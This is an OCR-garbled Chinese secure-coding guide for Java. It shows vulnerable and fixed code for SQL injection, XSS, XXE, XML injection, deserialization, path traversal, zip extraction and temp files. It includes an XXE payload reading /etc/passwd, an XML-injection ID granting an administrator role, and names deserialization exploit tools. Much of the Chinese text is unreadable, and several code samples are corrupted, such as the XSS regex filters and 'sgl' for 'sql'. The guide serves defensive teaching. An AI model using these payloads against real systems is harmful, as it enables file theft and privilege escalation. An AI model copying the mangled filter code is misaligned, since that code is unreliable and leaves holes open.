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FAANBENAR, EERFICAPMANESIEISMAENT. XEARIXBEE, SRS EGR
N BZRAFRANEEER IR ERTNRBR N ERIT. sql INFEUNEEFEBFEALSE
HEEET sql iIBAF, MMBEZFRTWIE. & sql iIEX AT E.

mERA— - BB HHE sql

@RequestMapping ("/SglInjection/{id}")

public ModelAndView SglInjectTest (@PathVariable String id) {

String mysgldriver = "com.mysqgl.jdbc.Driver";

String mysglurl =
"Jdbc:mysqgl://127.0.0.1:3306/test?user=root&password=123456&useUnicode=trues&c
haracterEncoding=utf8&autoReconnect=true";

String sgl = "select * from user where id=" + id;
ModelAndView mav = new ModelAndView ("test2");
try{

Class.forName (mysgldriver) ;

Connection conn = DriverManager.getConnection (mysglurl) ;
PreparedStatement pstt = conn.prepareStatement (sgl);
ResultSet rs = pstt.executeQuery();

BT IR
XF—RoT N EERERE, NRRAZABABRRERHTEFNSESEERN sqal XBFEE.
BERE
W=

R Mg AR R

@RequestMapping ("/SglInjection/{id}")

public ModelAndView SglInjectTest (@PathVariable String id) {

String mysgldriver = "com.mysqgl.jdbc.Driver";

String mysglurl =
"Jdbc:mysqgl://127.0.0.1:3306/test?user=root&password=123456&useUnicode=trues&c
haracterEncoding=utf8&autoReconnect=true";

String sgl = "select * from user where id= ?";
ModelAndView mav = new ModelAndView ("test2");
try{

Class.forName (mysgldriver) ;
Connection conn = DriverManager.getConnection (mysglurl) ;
PreparedStatement pstt = conn.prepareStatement (sgl);

//pstt.setObject (1, id); //—REMRBRMEXEAX—0G, HEEUAELEN sql BAHE
BEAOMFRTINT . BRTFHFENRBH LI,

ResultSet rs = pstt.executeQuery();

BRI SRAG

XM—RETUNEEREHRE, MRAZRKRBHRREFDW I EFHINSHHEEXN sql XBFEE. &F
MRFENTEMN, AERIEN setObject (). setInt (). setString (). setSQLXML () X ET

MR set* FLHIREL

BEETTER

Bl =



WERBI= : s (oracle HIRME) BIA

@RequestMapping ("/SglInjection/{id}")

public ModelAndView SglInjectTest (@PathVariable String id) {

String mysgldriver = "com.mysqgl.jdbc.Driver";

String mysglurl =
"Jdbc:mysqgl://127.0.0.1:3306/test?user=root&password=123456&useUnicode=trues&c
haracterEncoding=utf8&autoReconnect=true";

String sgl = "select * from user where id= ?";
ModelAndView mav = new ModelAndView ("test2");
try{

Class.forName (mysgldriver) ;

Connection conn = DriverManager.getConnection (mysglurl) ;
PreparedStatement pstt = conn.prepareStatement (sqgl);
pstt.setObject (1, id); //{EHEM%EFE

ResultSet rs = pstt.executeQuery();

IR
ENHEX sql IBALETX, EEEEBE BT ENG.
BEAR

J:EE’]PCTHH ERBNFEX R RTFE sal EAN, BEEZXEFHMTIEL. MBEFEFELEBXNTSH,
UEEFLE, BNSEMIEEE, & dos,

JRIERBIM : order by 8@

String sgl = “Select * from news where title =?"+ “order by ' + time +
“asc”
BRI SRAG
FENAEX sql BALTX, EEREE B EF.
BEHTR

KM EEAXM sql B8 order by FHENEMMFEFLENREBIHELIE, RFNFEFNI
l}l-:\o

W B FHEZSE SQL FEA

Mybatis {EZE

RARA—: like B4

Select * from news where title like ‘$#{title}%’
XHERFSIREE, ARARE soL ZEERERAOT ¢
Select * from news where title like ‘%$${title}%’

X REFEAERBESTEIEM sal EA.

BT RS

7SR E Mybatis HHEMNBREXHTHE ¢ . REEEHEX sql B8 LETIOE,
BEAR

RATENS

select * from news where tile like concat (‘%’,#{title}, ‘¢/)F B EFTXHEFFE
iR

RERBIZ © in 1B4E

Select * from news where id in (#{id})

XEERFERE HTRARE EWBAERAT ¢




Select * from news where id in (${id})

B SoL BRIz fE, BFFLiRtE, BEURK™4E soL INFRE.

BT R

THBFHE Mybatis MARMEEXHFEER $ . REEFEX sql BH L TXIIE,

BEETTER

XATESE

select * from news where id in

<foreach collection="ids" item="item" open=" ("separator="," close=")">#{item}
</foreach>

TmERF= : order by iB4]

Select * from news where title =‘java REEEIT’ order by #{time} asc
XHERFSIRIEE, ARAARE soL ZEERERAOT ¢

Select * from news where title =‘java REEEIT’ order by ${time} asc
Bz, BEFRIIETRSEN sql EARM

B TSRS

FEBRHE Mybatis HXMEEXHRERE 5 . REEEHEX sql IFALTEME.
BEHE

FahLTEA RN

Hibernate #EZE

e A~

session.createQuery ("from Book where title like '$" + userInput + "$%' and
published = true")

BRI SRAG

R createQuery () R, EEERIRBHEXMN LT,

EENE

KRAEBITHTTE

TiE—

Query query=session.createQuery (“from User user where user.name=:customername
and user:customerage=:age ”);

query.setString (“customername”, name) ;

query.setInteger (“customerage”, age) ;

TEZ

Query query=session.createQuery (“from User user where user.name=? and
user.age =2 ”);

query.setString (0, name) ;

query.setInteger (1, age);

JE=

String hgl="from User user where user.name=:customername ”;

Query query=session.createQuery (hqgl);

query.setParameter (“customername”, name, Hibernate.STRING) ;

J17EM

Customer customer=new Customer () ;

customer.setName (“pansl”) ;

customer.setAge (80) ;

Query query=session.createQuery (“from Customer c where c.name=:name and
c.age=:age ");

query.setProperties (customer) ;



XSS
N

XA Jﬁﬁ’ﬁﬁ&ﬁﬂ’]iﬁﬁ SEMSHHNERBABLERE, SECERREE TN —LEERN js B8
SRIREUR A H9URME 2.

e A~

@RequestMapping ("/xss")

public ModelAndView xss (HttpServletRequest request,HttpServletResponse

response) throws ServletException, IOException/{

String name = request.getParameter ("name");

ModelAndView mav = new ModelAndView ("mmc") ;
mav.getModel () .put ("uname", name);
return mav;

}
BRI SRAG
HiEPT AR HttpServletRequest BEMERA L TXIE.
EENE
TIR—
RRELER
1. BEEE web.xnl, FMOTREREE
<filter>
<filter-name>xssAndSglFilter</filter-name>
<filter-class>com.cup.cms.web.framework.filter.XssAndSqglFilter</filter-
class>
</filter>
<filter-mapping>
<filter-name>xssAndSglFilter</filter-name>
<url-pattern>*</url-pattern>
</filter-mapping>
2. BELREHR
public class XSSFilter implements Filter ({
@Override
public void init (FilterConfig filterConfig) throws ServletException {
}
@Override
public void destroy() {
}
@Override
public void doFilter (ServletRequest request, ServletResponse response,
FilterChain chain)
throws IOException, ServletException ({
chain.doFilter (new XSSRequestWrapper ( (HttpServletRequest) request),
response) ;

}

}
3. I sServletRequest HIEZEEE

import java.util.regex.Pattern;

import javax.servlet.http.HttpServletRequest;

import javax.servlet.http.HttpServletRequestWrapper;

public class XSSRequestWrapper extends HttpServletRequestWrapper {
public XSSRequestWrapper (HttpServletRequest servletRequest) {



super (servletRequest) ;

}

@Override

public String[] getParameterValues (String parameter) {
String[] values = super.getParameterValues (parameter);
if (values == null) {

return null;
}
int count = values.length;
String[] encodedValues = new String[count];
for (int i = 0; i < count; i++) {
encodedValues[i] = stripXSS(values[i]);
}
return encodedValues;

}

@Override
public String getParameter (String parameter) {
String value = super.getParameter (parameter) ;

return stripXSS(value);

}

@Override
public String getHeader (String name) {
String value = super.getHeader (name) ;

return stripXSS(value);
}
private String stripXSS(String value) {
if (value !'= null) {
// NOTE: It's highly recommended to use the ESAPI library and
uncomment the following line to
// avoid encoded attacks.

// value = ESAPI.encoder () .canonicalize (value);

// Avoid null characters

value = value.replaceAll (""", "");

// Avoid anything between script tags

Pattern scriptPattern = Pattern.compile (" (.*?)",
Pattern.CASE_INSENSITIVE);

value = scriptPattern.matcher (value) .replaceAll ("");

// Avoid anything in a
src="http://www.yihaomen.com/article/java/..." type of e-xpression

scriptPattern =

Pattern.compile ("src[\r\n]*=[\r\n]*\\\"' (.*?)\\\'", Pattern.CASE INSENSITIVE |
Pattern.MULTILINE | Pattern.DOTALL) ;

value = scriptPattern.matcher (value) .replaceAll ("");

scriptPattern =
Pattern.compile ("src[\r\n]*=[\r\n]*\\\" (.*?)\\\"", Pattern.CASE INSENSITIVE |
Pattern.MULTILINE | Pattern.DOTALL) ;

value = scriptPattern.matcher (value) .replaceAll ("");

// Remove any lonesome tag

scriptPattern = Pattern.compile("", Pattern.CASE INSENSITIVE);

value = scriptPattern.matcher (value) .replaceAll ("");

// Remove any lonesome tag

scriptPattern = Pattern.compile("", Pattern.CASE INSENSITIVE |
Pattern.MULTILINE | Pattern.DOTALL);

value = scriptPattern.matcher (value) .replaceAll ("");
// Avoid eval(...) e-xpressions
scriptPattern = Pattern.compile ("evall\\ ((.*2?)\\)",

Pattern.CASE INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL) ;



value = scriptPattern.matcher (value) .replaceAll ("");

// Avoid e-xpression(...) e-xpressions

scriptPattern = Pattern.compile ("e-xpression\\ ((.*2)\\)",
Pattern.CASE INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL);

value = scriptPattern.matcher (value) .replaceAll ("");

// Avoid Jjavascript:... e-xpressions

scriptPattern = Pattern.compile("javascript:",
Pattern.CASE INSENSITIVE) ;

value = scriptPattern.matcher (value) .replaceAll ("");

// Avoid vbscript:... e-xpressions

scriptPattern = Pattern.compile ("vbscript:",
Pattern.CASE INSENSITIVE) ;

value = scriptPattern.matcher (value) .replaceAll ("");

// Avoid onload= e-xpressions

scriptPattern = Pattern.compile ("onload(.*?)=",
Pattern.CASE INSENSITIVE | Pattern.MULTILINE | Pattern.DOTALL) ;

value = scriptPattern.matcher (value) .replaceAll ("");

}

return value;

}
}
TEZ
BEARM— jar & : commons-lang-2.5.jar , ARERSIARXYERE
StringEscapeUtils.escapeHtml (string) ;
StringEscapeUtils.escapedavaScript (string) ;
StringEscapeUtils.escapeSql (string) ;

A=

org.springframework.web.util.HtmlUtils o] |[YSCE] HTML FR&E R X FR 2 B ik,
REBIT -

/** HTML $§>‘< *%x /

String string = HtmlUtils.htmlEscape (userinput); //#&X
String s2 = HtmlUtils.htmlUnescape (string); //®EFRH
XXE
MR

XML XAYEEMEHE XML . DTD XAEBREX (TiE) . XHETHR. XHEEEX (DTD) HIERREX
XML X EEMEER, DTD FJINE XML XHRER, o] IXSMREIH.

RERE B DTD:

5| F%MNER DTD:

LAV AIMNBLAR, BRBHERTHEEENAHERSRTIR, N passwd XM

<?xml version="1.0" encoding="UTF-8"7?>

<!DOCTYPE replace [

<!ENTITY test SYSTEM "file:///ect/passwd">]>

<msg>&test;</msg>

e A~ Pl

b4k org.domdj.io.SAXReader A, (RBREBDRILA R

String xmldata = request.getParameter ("data");

SAXReader sax=new SAXReader ();//BlE— SAXReader W&

Document document=sax.read (new ByteArrayInputStream(xmldata.getBytes()));//3k

B document &R, IRXEELET R, WESHH Exception IRETE R
Element root=document.getRootElement ();//3KEBURT &
List rowList = root.selectNodes ("//msg");



Iterator<?> iterl = ro
if (iterl.hasNext()) {
Element beanNode = (Element) iterl.next();
modelMap.put ("success", true) ;
modelMap.put ("resp",beanNode.getTextTrim()) ;

wList.iterator();

}
A

XML ti—RAESAEE. SEEAEOSFYSURSHE, TRE XML XHEMENHRTER T XML
R R EAINLE, NMHMRESEFEE XXE, 3h5 XML ﬁﬁ#ﬂﬁmw ;

javax.xml.parsers.DocumentBuilder
javax.xml.stream.XMLStreamReader
org.jdom.input.SAXBuilder
org.jdom2.input.SAXBuilder
javax.xml.parsers.SAXParser
org.dom4j.io.SAXReader
org.xml.sax.XMLReader
javax.xml.transform.sax.SAXSource
javax.xml.transform.TransformerFactory
javax.xml.transform.sax.SAXTransformerFactory
javax.xml.validation.SchemaFactory
javax.xml.bind.Unmarshaller
javax.xml.xpath.XPathExpression

XMLInputFactory (a StAX parser)

xmlInputFactory.setProperty (XMLInputFactory.SUPPORT DTD, false); // This
disables DTDs entirely for that factory

xmlInputFactory.setProperty ("javax.xml.stream.isSupportingExternalEntities",
false); // disable external entities

TransformerFactory

TransformerFactory tf = TransformerFactory.newInstance();
tf.setAttribute (XMLConstants.ACCESS EXTERNAL DTD, "");
tf.setAttribute (XMLConstants.ACCESS EXTERNAL STYLESHEET, "");

Validator

SchemaFactory factory =

SchemaFactory.newInstance ("http://www.w3.0rg/2001/XMLSchema") ;
Schema schema = factory.newSchema () ;

Validator validator = schema.newValidator();
validator.setProperty (XMLConstants.ACCESS EXTERNAL DTD, "");
validator.setProperty (XMLConstants.ACCESS EXTERNAL SCHEMA, "");

SchemaFactory

SchemaFactory factory =

SchemaFactory.newInstance ("http://www.w3.0rg/2001/XMLSchema") ;
factory.setProperty (XMLConstants.ACCESS EXTERNAL DTD, "");
factory.setProperty (XMLConstants.ACCESS EXTERNAL SCHEMA, "");
Schema schema = factory.newSchema (Source) ;

SAXTransformerFactory



SAXTransformerFactory sf = SAXTransformerFactory.newlInstance();
sf.setAttribute (XMLConstants.ACCESS EXTERNAL DTD, "");

sf.setAttribute (XMLConstants.ACCESS EXTERNAL STYLESHEET, "");

sf.newXMLFilter (Source) ;

Note: Use of the following XMLConstants requires JAXP 1.5, which was added to
Java in 7u40 and Java 8:

javax.xml.XMLConstants.ACCESS EXTERNAL DTD
javaX.Xml.XMLConstants.ACCESS_EXTERNAL_SCHEMA
javaX.Xml.XMLConstants.ACCESS_EXTERNAL_STYLESHEET

XMLReader

XMLReader reader = XMLReaderFactory.createXMLReader () ;

reader.setFeature ("http://apache.org/xml/features/disallow-doctype-decl",
true);

reader.setFeature ("http://apache.org/xml/features/nonvalidating/load-
external-dtd", false); // This may not be strictly required as DTDs shouldn't
be allowed at all, per previous line.

reader.setFeature ("http://xml.org/sax/features/external-general-entities",
false);

reader.setFeature ("http://xml.org/sax/features/external-parameter-entities",
false);

SAXReader

saxReader.setFeature ("http://apache.org/xml/features/disallow-doctype-decl",
true);

saxReader.setFeature ("http://xml.org/sax/features/external-general-entities",
false);

saxReader.setFeature ("http://xml.org/sax/features/external-parameter-
entities", false);

Based on testing, if you are missing one of these, you can still be
vulnerable to an XXE attack.

SAXBuilder

SAXBuilder builder = new SAXBuilder();

builder.setFeature ("http://apache.org/xml/features/disallow-doctype-

decl", true) ;

builder.setFeature ("http://xml.org/sax/features/external-general-entities",
false);

builder.setFeature ("http://xml.org/sax/features/external-parameter-entities",
false);

Document doc = builder.build(new File (fileName)) ;

Unmarshaller

SAXParserFactory spf = SAXParserFactory.newInstance();

spf.setFeature ("http://xml.org/sax/features/external-general-entities",
false);

spf.setFeature ("http://xml.org/sax/features/external-parameter-entities",
false);

spf.setFeature ("http://apache.org/xml/features/nonvalidating/load-external-
dtd", false);

Source xmlSource = new SAXSource (spf.newSAXParser () .getXMLReader (), new
InputSource (new StringReader (xml)));

JAXBContext jc = JAXBContext.newlInstance (Object.class);



Unmarshaller um = jc.createUnmarshaller();
um.unmarshal (xmlSource) ;

XPathExpression

DocumentBuilderFactory df = DocumentBuilderFactory.newInstance ()
df.setAttribute (XMLConstants.ACCESS EXTERNAL DTD, "");

df.setAttribute (XMLConstants.ACCESS EXTERNAL SCHEMA, "");

DocumentBuilder builder = df.newDocumentBuilder () ;

String result = new XPathExpression () .evaluate( builder.parse (new
ByteArrayInputStream (xml.getBytes())) );

BEETTER

i XML TR BRI BHEN, ZIEEAMILE, U EHIH sAXReader A, ZEMFEATTN
T

sax.setFeature ("http://apache.org/xml/features/disallow-doctype-decl", true);
sax.setFeature ("http://xml.org/sax/features/external-general-entities",
false);

sax.setFeature ("http://xml.org/sax/features/external-parameter-entities",
false);

HE XML st LS FHTS 2 OWASP XML External Entity (XXE) Prevention Cheat
Sheet
https://www.owasp.org/index.php/XML External Entity (XXE) Prevention Cheat Sh
eet#Java
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FRAARTEEHEREE XML £ SB ML ENRR. — M AF, NRGEAFEALE

MR XML FER, MIMRE A XML A9BSR RN XML 755k S B iR XML XM SN S
NE. XML FBATER = XSHENBIRREHITIR BIFN AR

i 5l

private void createXMLStream (BufferedOutputStream outStream, User user)
throws

IOException

{

String xmlString;

xmlString = "<user><role>operator</role><id>" + user.getUserId()

+ "</id><description>" + user.getDescription() +
"</description></user>";

outStream.write (xmlString.getBytes());

outStream.flush();

}

ENERAFATRSFER TENFHRIEARS 1D
"joe</id><role>administrator</role><id>joe"HFHI TIEE NBMNELIERFER
"I want to be an administrator"fx%Zk, E/| XML ZFEBTRAOTEDR :

<user>

<role>operator</role>

<id>joe</id>

<role>administrator</role>

<id>joe</id>

<description>I want to be an administrator</description>

</user>

BT sax g (org.xml.sax and javax.xml.parsers.SAXParser) {EfARE XML XHNLSIEE

“A role HMEBER — role HE FAUSBUHAFAAERRERREFATEER.



BT R

ERERINTFHFH

StreamSource

XMLConstants

StringReader

AIE PR, xsd X

EEIR

private void createXMLStream (BufferedOutputStream outStream, User user)
throws

IOException

{

if (!Pattern.matches("[ a-bA-B0-9]+", user.getUserId()))

{

}

if (!Pattern.matches("[ a-bA-B0-9]+", user.getDescription()))
{

}

String xmlString = "<user><id>" + user.getUserId()

+ "</id><role>operator</role><description>"

+ user.getDescription() + "</description></user>";

outStream.write (xmlString.getBytes());

outStream.flush();

}
XNTEFERBZRENTANRMARITEE, ERBAWN userld FERHPREBRFH.
FHE TN

public static void buidlXML (FileWriter writer, User user) throws IOException
{

Document userDoc = DocumentHelper.createDocument () ;

Element userElem = userDoc.addElement ("user");

Element idElem = userElem.addElement ("id");

idElem.setText (user.getUserId()) ;

Element roleElem = userElem.addElement ("role");

roleElem.setText ("operator");

Element descrElem = userElem.addElement ("description");

descrElem.setText (user.getDescription());
XMLWriter output = null;
try

{

OutputFormat format = OutputFormat.createPrettyPrint();
format.setEncoding ("UTF-8") ;

output = new XMLWriter (writer, format);
output.write (userDoc) ;

output.flush();

}

finally

{

try

{

output.close();

}

catch (Exception e)

{

e



XA EFRBIFEH domd ) SRME XML, domdj 2— PMRGFEXH. FFREE xML THAE, Dom4]
B3 AR T XML REE, MWMES XML RIBEMTIER 2 2R,
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FHMZIL Java WRHE Java SHMEM—MFER, TUERNKRAZFEEZEMNBE. NREFA
1hfFfiE. RBEXIT serializable M Externalizable FEOMEMNTR A BEHEFIIL.

Java 2F{FH ObjectInputStream WE M readObject A R FI L EIEEH Y java W&, B
HRANRFICOEIETHA PG, BAREERNTBIWEERRA, LRFE £ IR
&, GEEEPHITHEENERRD.

iRl

~l— REFEERIREBHIT

RIS RENT

/ [EBINGR, FHERIR

InputStream in=request.getInputStream()

ObjectInputStream ois = new ObjectInputStream(in);

/IREXR

ois.readObject ()

ois.close();

FiRREG, BEFERMARFBEERFIMUATR. IWETTEEFEME TRRFEE5IATHALN
commons-collections 3.1, commons-fileupload 1.3.1 %E=7F, RUMEHEE&RFEILXT
FIMARRBINIT. HAX=FEXFABITRTSHE ysoserial, marshalsec,

BT R

HTTP . ZF A2 EMNBRE BES

RMI | 2 Java (I—ARIPARX D TRNBREFN APT, KU TARRERFZBEFNTTEZEM. ES
ARMIE, RMI % 100sETRFFIL, Java RMI FBRIASRH2 1099 iR H.

JMX | JMX @—EfRENRIERNRS, BRTMERM Java K ARFHERXERIEBENRSLIERE, §
B WebLogic MEENAMERT IMx R, M JBoss BMRGHET JMx MZE,

PBERFIUBAR | BENIKE readobject TTRFM, ARFZFHITT—IRENEE. —RTN
BT ITE#HTER
1) SHRTMUF B R, AHEARRFILEE readobject AAMAMLR.

2) WiZN R#TNETAINE, FEFFMEIE 0 wireshark, tepdump %

A Java FIMERNEIE—RSIUFRIC (ac ed 00 05) FF3k, base64 ZRADEMFHEA
rO0AB,
RFFMCRIE—RESNERX G, MEBE. 8iEEH. BESRILEE. IREEEUES DB F#EF
V&G &, ERETFTNTE RO —ERFICRIEREFFHRASSTE, 0T
ObjectInputStream.readObject
ObjectInputStream.readUnshared
XMLDecoder.readObject
Yaml.load
XStream. fromXML
ObjectMapper.readValue
JSON.parseObject

BEHZ

MR NARRFITEENNTERFIUEEARSE, WT—EAUREEONENTTFRREZS
REBAATFHRFIM AR EZREEEAZEMNIED, 98T Hook K resolveClass KKK R FFL
HEMNIEREZERE, =EMT



public class AntObjectInputStream extends ObjectInputStream{
public AntObjectInputStream (InputStream inputStream)
throws IOException {
super (inputStream) ;

/**
* RRAFRFEGIML SerialObject class
*/
@Override
protected Class<?> resolveClass (ObjectStreamClass desc) throws
IOException,
ClassNotFoundException {
if (!desc.getName () .equals(SerialObject.class.getName ())) {
throw new InvalidClassException (
"Unauthorized deserialization attempt",
desc.getName () ) ;
}

return super.resolveClass (desc);

}
}
W ol {F A Apache Commons IO Serialization BHfy ValidatingObjectInputStream K
accept FAERIMRFIIMLET/ BEZ BRG], MRFEANERE=FENHREEIIRA.
T~ R IE AL AR (B 7R
Serializable BIEMEHFILTEEIE readObject, writeObject,
Serializable BYEMEHFILTTE, HEFE readResolve, writeReplace,
ENRATEA (singleton) KME[TEITH.
RIEPPR R NERN, —MRIER TXETENTHMERA private void, BIIR Serializable
FIZKEFFA writeObject REA public WA, HIEZFRAZTIENR, BEEXE. BLERLT,
Et#0 serializable BYKRE Extendable, #HWFHEMKT, A THERFRMERRITTE BAXLER
RN A protected, MAR private,

BRI SRAG

AIHEEREXK

public * writeObject
public * readObject
public * readResolve
public * writeReplace
BEETTER

WIERRYE E T XE, thanfgsih
private void writeObject
private void readObject
protected Object readResolve
protected Object writeReplace

= REFEFCERMNEURE M EE

£ Java HIEH, AFLTARZEENAFHTEERE, MMEIEZEHRNEESEH. ~EZF57]
URIMBOGREIE | FEATFIMST L2 ETE=S,

public class GPSLocation implements Serializable

{

private double x; // sensitive field

private double y; // sensitive field

private String id;// non-sensitive field

// other content



}

public class Coordinates

{

public static void main(String[] args)

{

FileOutputStream fout = null;

try

{

GPSLocation p = new GPSLocation (5, 2, "northeast");
fout = new FileOutputStream("location.ser");
ObjectOutputStream oout = new ObjectOutputStream (fout) ;
oout.writeObject (p);

oout.close();

}

catch (Throwable t)

{

// Forward to handler

}

finally

{

if (fout != null)

{

try

{

fout.close();

}

catch (IOException x)

{

// handle error

}

e

}
ARXBETHIREH, RELIKEEEHEMN, BLABGHFICEERERTEZHIRSRESMESHER
FHIREE o

B TSRS
BIREXFRN 5= E XBUREE. T EL%HE AR EIER R Rl —hEXHXEF.
BENE

FERERGIFNERSENT

public class GPSLocation implements Serializable

{

private transient double x; // transient field will not be serialized
private transient double y; // transient field will not be serialized
private String id;

// other content

}

EREXFEREE. —RELT, —BEEM, BEHEZSEEXGREIEFRAD transient, XIFiE
FARUESUREHR M FH L As = Z RS AT

IF#7fH ( serialPersistentFields )

public class GPSLocation implements Serializable

{

private double x;

private double y;

private String id;



// sensitive fields x and y are not content in serialPersistentFields

private static final ObjectStreamField[] serialPersistentFields = {new
ObjectStreamField ("id", String.class)};

// other content

}

Z B EX serialPersistentFields HAFERFHRBUBRFERBHBRAEFIIL 5, BRT ERTT
£, MBI EENX writeObject (). writeReplace (). writeExternal () XEFRE, NEEE
FREENFREEFICFIRF . FRERT, EWINE T NOBUREIET D FIL.

I BSREBER FFILE R

WIS AR FI KB gEss, BEBEEFENARTAR, F5=EHE1R.
XA EBER I FF = SBOMP KN KL FIHB I FFIML . XA o 68 55 BUREE.
public class DistributeData implements SerializedName
public class CodeDetail {...}

}

CodeDetail AT,

public class DistributeData implements SerializedName
public class CodeDetail implements SerializedName{...}

}

3R NotSerializableException, &R, CodeDetail XNEKRRLIM Y Serializable MO, B
CodeDetail 7EUIH 2 IMXAIBRAIF I E XA,

public class DistributeData implements SerializedName

public static class CodeDetail implements SerializedName{...}
}

FEAXMER T UEFIMEER HEMBREEME.

HITRER

ATI&EH implements Serializable BYFFBWERE

BETER

class ${InnerSer} {}

EBRAFENFIIL.

static class ${InnerSer} implements Serializable {}

RAEBEFEFAESAIREFFIL. ERBIRBHRETE=H 8RS S0&E

BiERE

MR

A2eNBRERRYEEASFERERHELUENRERP.

REUTMUAAESE .. /FINSECIEEMN THE BRI, NIEREFTEEKE, 5IXEEE
piRiE, BEETTRE T I EER B & 3.

iRl

Java —HRE&1R getPath(), ZBXEE{R getAbsolutePath () FIISEEER getCanonicalPath ()
A,

F#BI7E workspace HHTE myTestPathPrj T#, ZfTa0THRED

public static void testPath () throws Exception({

File file = new File("..\\src\\ testPath.txt");
System.out.println(file.getAbsolutePath());
System.out.println(file.getCanonicalPath());

}

BREINERFW

E:\workspace\myTestPathPrj\..\src\ testPath.txt

E:\ workspacel\src\ testPath.txt



IR

&I getPath, getAbsolutePath,

BHEEFNLSERREEXH, #ZE permission Java.io.FilePermission F#FH grant F
¥, BRIk, #@AENR, MR 10 ARPELMERH. RARFHNENEER T ESR, HthEx
AETESIR, BABRKRELEREMN.

BETER

RE&{#H getCanonicalPath () ,

FEFARLEER, IEEALTLEERIEF. TR ELRSREXYH, MAGKEAMN web server
GEPSE

File.getCanonicalPath () 737k, ERREMBHIIFE LXNAERE. REAXUXFSHEZHITH
BT, FERRISCHRE, L. SRR, XERMATERIEZASHEMRNRATRERR. SEAR
AR R R MIER, HERTEER. ./ FIRBEIEE R %,

Zip SCHHREX

4R

M java.util.zip.ZipInputStream FBEXHFREE/IVIMEE. BENMFRIRY
FAREEL  — P ERRUE AN HRERSEERENBRERZ, Z— P ERIEHN
XHEREEZNRFRR. WTRI—MER, BEHEEZETUM zip XMHHERFITHRIAER
BEXBEANEENEIE. XTE—MER SREEAZEZATRASIEREANRRN,
HOUESREBERSNEB, 2ip BENAMHRTESSE zip 4F5# (zip bomb) FYHIR,
BTRESHNEEZR, RIEERE/ N, bl zIP, GIF, MK gzip fHASA HITP AR, th
RSB ENRIREERE.

e A~

static final int BUFFER = 512;

VA

public final void unzip(String fileName) throws java.io.IOException
{

FileInputStream fis = new FileInputStream(fileName) ;

ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;

while ((entry = zis.getNextEntry()) != null)

{

System.out.println ("Extracting: " + entry);

int count;

byte data[] = new byte[BUFFER];

// Write the files to the disk

FileOutputStream fos = new FileOutputStream(entry.getName ())
BufferedOutputStream dest = new BufferedOutputStream(fos, BUFFER);
while ((count = zis.read(data, 0, BUFFER)) != -1)

{

dest.write(data, 0, count);

}

dest.flush();

dest.close();

zis.closeEntry () ;

}

zis.close();

}



EXNMERTGIF, RNBENXHBHEEE, BEEXHRZES FileOutputStrean #MiEss, B
AEEBEXENTREREERL EATEFRETIRETREE A TREE.

public static final int BUFFER = 512;

public static final int TOOBIG 0x6400000; // 100MB

//

public final void unzip(String filename) throws java.io.IOException

{

FileInputStream fis = new FileInputStream(filename);

ZipInputStream zis = new ZipInputStream(new BufferedInputStream(fis));
ZipEntry entry;

try

{

while ((entry = zis.getNextEntry()) != null)

{

System.out.println ("Extracting: " + entry);

int count;

byte data[] = new byte[BUFFER];

// Write the files to the disk, but only if the file is not insanely
big

if (entry.getSize () > TOOBRIG)

{

throw new IllegalStateException (

"File to be unzipped is huge.");

}

if (entry.getSize() == -1)

{

throw new IllegalStateException (

"File to be unzipped might be huge.");

}

FileOutputStream fos = new FileOutputStream(entry.getName ())
BufferedOutputStream dest = new BufferedOutputStream(fos,
BUFFER) ;

while ((count = zis.read(data, 0, BUFFER)) != -1)
{

dest.write(data, 0, count);

}

dest.flush{();

dest.close();

zis.closeEntry () ;

}

}

finally

{

zis.close();

}

}

XANEIRTRBIEA zipEntry.getSize () TAEBRERR—M &K B Z R A E X/, MIXEBRZBIH
B, BAZEMNE BREEEETUHIE 21p XHPARMRBELBEXNIFER, Bt getSize ()77
ERREEEATEN, AMFIREFR ]I BB,

HIT RIS

ERERNTXBFHETTE

FileInputStream

ZipInputStream

getSize ()
ZipEntry



MR getsize BALHBERFINEIRT .

EENE

static final int BUFFER = 512;

static final int TOOBIG = 0x6400000; // max size of unzipped data, 100MB
static final int TOOMANY = 1024; // max number of files
//

private String sanitzeFileName (String entryName, String intendedDir) throws
IOException

{

File f = new File(intendedDir, entryName) ;

String canonicalPath = f.getCanonicalPath();

File 1D = new File (intendedDir) ;

String canonicalID = iD.getCanonicalPath();

if (canonicalPath.startsWith (canonicallID))

{

return canonicalPath;

}

else

{

throw new IllegalStateException (

"File is outside extraction target directory.");

}

}

//

public final void unzip(String fileName) throws java.io.IOException
{

FileInputStream fis = new FileInputStream(fileName) ;

ZipInputStream zis = new ZipInputStream(new BufferedInputStream (fis));
ZipEntry entry;

int entries = 0;

int total = 0;

byte[] data = new byte[BUFFER];

try

{

while ((entry = zis.getNextEntry()) != null)

{

System.out.println ("Extracting: " + entry);

int count;

// Write the files to the disk, but ensure that the entryName is wvalid,
// and that the file is not insanely big

String name = sanitzeFileName (entry.getName(), ".");

FileOutputStream fos = new FileOutputStream(name) ;

BufferedOutputStream dest = new BufferedOutputStream(fos, BUFFER);
while (total + BUFFER <= TOOBIG && (count = zis.read(data, 0, BUFFER)) !=
-1)

{

dest.write (data, 0, count);

total += count;

}

dest.flush{();

dest.close();

zis.closeEntry () ;

entries++;

if (entries > TOOMANY)

{

throw new IllegalStateException("Too many files to unzip.");



}

if (total > TOOBIG)

{

throw new IllegalStateException (
"File being unzipped is too big.");
}

}

}

finally

{

zis.close();

}

}

EXNEFHTRGH, RESEBESMFEZINEXGFRHTRE. MREMFERRABL, BN#
EdREESHE L, KR EBTMNARBEXNEE, REFEMNBELE, EEHTMBXN&E#
EEIEANLEMNE, BRTREXHR, while FHRHFMRBEBSREM zip FREXEHRE L KRNEN X4
FHHKRNN, MBR—PXHELZBEARKR, WWHITRE 100MB, NMEWEFE. KE, KRESITEMNERSHH
BIEHRAOXHEE B8, MREH 1024 4, MSWERE.

e B ST A

I

BFRALEREERYUYENERPERMN XM, B, POSIX RETH/tmp 5
/var/tmp B3, Windows RZ TAYC:\TEMP B3R, XEXBEFRFNXG S EHEE,
B, BRI EHFERN. A, MRXARELEHOELEATEELT KON, &
BARBIXH RGN REEET NN ARZ EZFOXMGERE. HRELFAFERFTEN
GBS BB FX X2 MEMBR (MR #OREFHE. 8— M EFELERET
A2 P EA STERRMIBR 2 165 B T Semd I B 31

i 5l

public class TempFile

{

public static void main(String[] args) throws IOException

{

File f = new File ("tempnam.tmp");
if (f.exists())

{

System.out.println ("This file already exists");
return;

}

FileOutputStream fop = null;
try

{

fop = new FileOutputStream(f);
